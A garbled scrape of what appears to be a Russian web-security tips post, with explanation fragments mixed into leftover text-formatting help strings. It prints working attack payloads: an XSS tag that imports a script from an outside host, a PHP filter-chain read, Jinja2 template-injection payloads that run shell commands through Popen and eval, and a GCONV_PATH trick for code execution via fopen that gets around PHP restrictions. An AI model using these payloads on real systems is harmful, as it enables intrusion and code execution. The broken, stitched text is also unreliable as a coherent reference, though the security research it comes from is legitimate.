
Size: a a a
$.getScript
в Jquery.<img src onerror=import('//bo0om.ru/x/')>
Ctrl/Cmd + B
) или курсивные ( Ctrl/Cmd + I
) буквы.t.me
будут обработаны по-другому. При нажатии сразу будет открываться группа, профиль человека или бот. Для этого нужно выделить текст, нажать Ctrl/Cmd+U
и указать ссылку.php://filter/read=string.strip_tags|zlib.deflate|convert.base64-encode/resource=http://localhost:1337/secret.xml
{{''.__class__.mro()[1].__subclasses__()[46]('touch /tmp/rce',shell=True)}}
Popen
по индексу из наследников object
и исполняет команду. Он не очень-то удобен: индекс Popen
(который в примере равен 46) различается от сетапа к сетапу, поэтому его нужно подбирать.{{lipsum.__globals__["__builtins__"].eval("<python code>")}}
lipsum
(она возвращает текст "Lorem ipsum dolor..."), но вместо того чтобы вызывать её, мы через __globals__
достаем её глобальные переменные — а в них нас ждет модуль __builtins__
с функцией eval
.__globals__
у всех питоновских функций (кроме встроенных). Если в вашем окружении нет функций, а только объекты — не беда, найдите у него любой метод и возьмите свойство __func__
. Вы получите unbound функцию, у которой уже будет __globals__
.fopen
(тот самый, который w
или, например, r+
) умеет исполнять код? Ну почти.fopen("file", "w,ccs=<encoding>")
. Сами кодировки подгружаются динамически, функции для работы с каждой кодировкой лежат в отдельном .so
-файле. Конфиг, содержащий пути к этим библиотекам называется gconv-modules
и обычно лежит где-нибудь в /usr/lib/x86_64-linux-gnu/gconv/
, но если переопределить переменную окружения GCONV_PATH
, то он будет браться из указанной директории. И path traversal, конечно, в нем полностью поддерживается.GCONV_PATH
gconv-modules
,css=payload
во второй аргумент fopen
iconv
(и утилите, и библиотеке), поэтому трюк можно использовать для обхода disabled_functions
в php. Правда, для того, чтобы задать GCONV_PATH
должен быть разрешен putenv
, а это уже само по себе небезопасно.<?xml-stylesheet href="https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/master/nmap-bootstrap.xsl" type="text/xsl"?>
<!DOCTYPE nmaprun>
. SameSite=Lax
для cookie опять начала будоражить умы человечества. Из-за этого многие не заметили другое, более тихое, нововведение. Теперь Referrer Policy будет выставляться по умолчанию в значение strict-origin-when-cross-origin
. Это значит теперь можно забыть про утечку одноразовых ссылок восстановления и прочей чувствительной информации на сторонние ресурсы из URL через Referrer. Еще одной client-site багой стало меньше 😢